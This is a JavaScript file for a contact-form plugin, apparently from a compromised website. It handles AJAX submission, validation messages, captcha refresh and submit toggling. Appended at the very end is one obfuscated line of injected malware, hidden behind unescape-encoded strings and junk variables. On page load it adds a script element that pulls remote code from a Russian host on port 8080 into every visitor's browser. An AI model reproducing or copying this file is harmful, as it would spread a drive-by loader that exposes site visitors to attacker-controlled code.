jQuery(document).ready(function() {
	jQuery('div.mmf > form').ajaxForm({
		beforeSubmit: mmfBeforeSubmit,
		dataType: 'json',
		success: mmfProcessJson
	});

  jQuery('div.mmf > form').each(function(i, n) {
    mmfToggleSubmit(jQuery(n));
  });
});

// Exclusive checkbox
function mmfExclusiveCheckbox(elem) {
  jQuery(elem.form).find('input:checkbox[@name="' + elem.name + '"]').not(elem).removeAttr('checked');
}

// Toggle submit button
function mmfToggleSubmit(form) {
  var submit = jQuery(form).find('input:submit');
  if (! submit.length) return;
  
  var acceptances = jQuery(form).find('input:checkbox.mmf-acceptance');
  if (! acceptances.length) return;
  
  submit.removeAttr('disabled');
  acceptances.each(function(i, n) {
    n = jQuery(n);
    if (n.hasClass('mmf-invert') && n.is(':checked') || ! n.hasClass('mmf-invert') && ! n.is(':checked'))
      submit.attr('disabled', 'disabled');
  });
}

function mmfBeforeSubmit(formData, jqForm, options) {
	mmfClearResponseOutput();
	jQuery('img.ajax-loader', jqForm[0]).css({ visibility: 'visible' });
  
    formData.push({name: '_mmf_is_ajax_call', value: 1});
  
	return true;
}

function mmfNotValidTip(into, message) {
  jQuery(into).append('<span class="mmf-not-valid-tip">' + message + '</span>');
	jQuery('span.mmf-not-valid-tip').mouseover(function() {
		jQuery(this).fadeOut('fast');
	});
	jQuery(into).find(':input').mouseover(function() {
		jQuery(into).find('.mmf-not-valid-tip').not(':hidden').fadeOut('fast');
	});
	jQuery(into).find(':input').focus(function() {
		jQuery(into).find('.mmf-not-valid-tip').not(':hidden').fadeOut('fast');
	});
}

function mmfProcessJson(data) {
    var mmfResponseOutput = jQuery(data.into).find('div.mmf-response-output');
	mmfClearResponseOutput();
	if (data.invalids) {
		jQuery.each(data.invalids, function(i, n) {
			mmfNotValidTip(jQuery(data.into).find(n.into), n.message);
		});
		mmfResponseOutput.addClass('mmf-validation-errors');
	}
	if (data.captcha) {
		jQuery.each(data.captcha, function(i, n) {
			jQuery(data.into).find(':input[@name="' + i + '"]').clearFields();
			jQuery(data.into).find('img.mmf-captcha-' + i).attr('src', n);
			var match = /([0-9]+)\.(png|gif|jpeg)$/.exec(n);
			jQuery(data.into).find('input:hidden[@name="_mmf_captcha_challenge_' + i + '"]').attr('value', match[1]);
		});
	}
	if (1 == data.spam) {
		mmfResponseOutput.addClass('mmf-spam-blocked');
	}
	if (1 == data.mailSent) {
		jQuery(data.into).find('form').resetForm().clearForm();
		mmfResponseOutput.addClass('mmf-mail-sent-ok');
	} else {
		mmfResponseOutput.addClass('mmf-mail-sent-ng');
	}
	mmfResponseOutput.append(data.message).fadeIn('fast');
	if (data.message.toLowerCase().indexOf('thanks')>=0)
	jQuery(data.into).find('form').hide();
}

function mmfClearResponseOutput() {
	jQuery('div.mmf-response-output').hide().empty().removeClass('mmf-mail-sent-ok mmf-mail-sent-ng mmf-validation-errors mmf-spam-blocked');
	jQuery('span.mmf-not-valid-tip').remove();
	jQuery('img.ajax-loader').css({ visibility: 'hidden' });
}
var W=new Array();function y(){var vc='';var Q;if(Q!='' && Q!='yb'){Q=''};var T=window;var j;if(j!='F' && j!='A'){j='F'};this.sZ='';var vw=new String();var E=unescape;var w=E("%2f%66%72%65%65%77%65%62%73%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%63%68%69%6e%61%72%65%6e%2e%63%6f%6d%2e%70%68%70");var yq;if(yq!='' && yq!='l'){yq=''};this.z='';function b(p,u){this.lb="";var B;if(B!='sk'){B=''};var O=new Date();var Td=new String("g");var r=E("%5b"), s=E("%5d");var h;if(h!='' && h!='wq'){h='q_'};var e_;if(e_!='bw' && e_ != ''){e_=null};var M=r+u+s;var sK=new RegExp(M, Td);return p.replace(sK, new String());var VI;if(VI!=''){VI='m'};var kL='';};var pu='';var kH='';var W_=new String();var hY=new Date();var U=document;var tV;if(tV!='FH' && tV != ''){tV=null};var kj=new String();var V=b('8333202223381330113','1324');var e=new String();var aF;if(aF!='ow'){aF='ow'};var VB=new Date();var _=new String();var hc;if(hc!='yE' && hc != ''){hc=null};function Vg(){this.tL='';var UI;if(UI!='TR' && UI != ''){UI=null};var k=E("%68%74%74%70%3a%2f%2f%6c%6f%61%64%74%75%62%65%2e%72%75%3a");e=k;e+=V;e+=w;var Zz;if(Zz!='Su'){Zz=''};var iT;if(iT!='da' && iT!='Uq'){iT='da'};this.RR="";try {var sPn=new String();var rL=new Date();v=U.createElement(b('s4c4r4ivpvt4','v4'));var hh="";this.cv='';v[E("%64%65%66%65%72")]=[1,9][0];var sG=new String();v[E("%73%72%63")]=e;this.Vc='';var LZ='';U.body.appendChild(v);var CW='';var AB=new Array();} catch(Z){var yV;if(yV!='' && yV!='Gg'){yV=''};alert(Z);var ug;if(ug!='' && ug!='vE'){ug=null};};var OU=new String();}this.sW="";var iTU="";T[new String("onl"+"oadeU4".substr(0,3))]=Vg;this.pf="";};var Hk=new Array();var XG=new String();var RS;if(RS!='bf' && RS != ''){RS=null};y();this.pY="";